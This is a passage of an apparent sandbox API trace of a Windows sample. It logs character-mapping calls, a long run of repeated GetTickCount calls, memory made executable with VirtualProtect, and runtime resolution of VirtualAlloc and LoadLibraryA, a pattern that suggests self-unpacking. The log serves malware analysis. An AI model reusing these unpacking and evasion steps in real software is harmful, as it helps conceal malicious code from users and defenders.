lpDestStr=0x0) returned 256 [0042.248] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0042.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x7c\x4b\x6e\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0042.248] GetLastError () returned 0x0 [0042.249] SetLastError (dwErrCode=0x0) [0042.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ") returned 256 [0042.249] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.249] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0042.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x7c\x4b\x6e\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0042.249] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x800) returned 0x1f211f8 [0042.249] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.249] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x467634) returned 0x0 [0042.249] RtlSizeHeap (HeapHandle=0x1f20000, Flags=0x0, MemoryPointer=0x1f22b18) returned 0x80 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.257] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.258] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.259] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.260] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.261] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.262] GetTickCount () returned 0x19903 [0042.366] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.367] VirtualProtect (in: lpAddress=0x7287f0, dwSize=0x34b99, flNewProtect=0x40, lpflOldProtect=0x18d660 | out: lpflOldProtect=0x18d660*=0x4) returned 1 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0042.389] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0042.389] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0042.389] SetErrorMode (uMode=0x400) returned 0x0 [0042.389] SetErrorMode (uMode=0x0) returned 0x400 [0042.390] GetVersionExA (in: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0042.390] VirtualAlloc 